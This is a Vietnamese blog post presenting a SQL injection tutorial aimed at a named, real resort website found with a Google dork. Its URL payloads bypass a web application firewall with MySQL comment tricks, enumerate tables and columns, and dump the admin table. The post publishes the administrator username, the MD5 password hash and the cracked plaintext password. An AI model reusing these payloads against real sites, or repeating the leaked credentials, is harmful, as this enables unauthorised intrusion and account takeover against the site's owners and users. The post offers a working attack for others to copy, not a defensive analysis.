Sunday 21 February 2016

Tutorial bypass 406 Not Acceptable SQL Injection


Trong các phần trước mình đã giới thiệu cách khai thác lỗi SQL Injection cơ bản nhất,
Xem lại tại đây http://gh0stsec.blogspot.com/2016/02/detailed-sql-injection.html
1 số site sẽ filter lọc chặn các câu truy vấn như Union, select, table ... Thông báo lỗi 406 Not Acceptable, hoặc bị chặn Error 403: Forbidden bởi .htaccess

Hôm nay mình sẽ demo 1 dạng bypass 406 Not Acceptable
Google dork: Designed by Viet Arrow id=

Victim: http://www.locanresort.com/index.php?do=page&id=1

Thêm giao diện thay đổi. Có thể bị lỗi 

B1: Xác định số column  
http://www.locanresort.com/index.php?do=page&id=1 order by 5-- -
giao diện site bình thường

http://www.locanresort.com/index.php?do=page&id=1 order by 6-- -
giao diện site thay đổi

--> có 5 cột
Xác định cột bị lỗi bằng truy vấn Union 

Code:
http://www.locanresort.com/index.php?do=page&id=-1 UNION SELECT 1,2,3,4,5-- -


Gặp lỗi 406 not acceptable bởi WAF chặn các câu lệnh truy vấn như Union,Select,Table.(vấn đề bypass WAF mình hẹn dịp sau sẽ viết 1 bài khác chi tiết về nó).
Thử: /*!UNION*/ /*!SELECT*/ hoặc /*!50000UNION*/  

Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5-- -


Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,/*!@@version*/-- -

version  >=5: 5.5.48-cll có thể sử dụng group_concat

B2 Lấy thông tin table_name 
Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!table_name*/) from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
Ta lấy được các table
admin,banner,maillist,page,photos


B3 Lấy column từ table
Ở đây ta lấy table admin chuyển sang mã hexa.
Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!column_name*/) from information_schema./*!columns*/ where /*!table_name*/=0x61646d696e-- -
--> Ta lấy được các column
id,username,password


B4 Lấy Data 


Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(id,0x3a,username,0x3a,password) from admin-- -

User:     locanresort
Password: 5abc9c5bef1682020e4b2a9eed03581d      


Ở đây mình dùng Tool ZER0FREAK'S HASH IDENTIFIER biết được password hash Md5.
http://www.md5online.org/ 
5abc9c5bef1682020e4b2a9eed03581d = chihuong 
Các bạn có thể dùng Tool tìm link admin mình đã có share trong Attack SQL Injection phần 3
End tut: gh0stsec

     

0 comments:

Post a Comment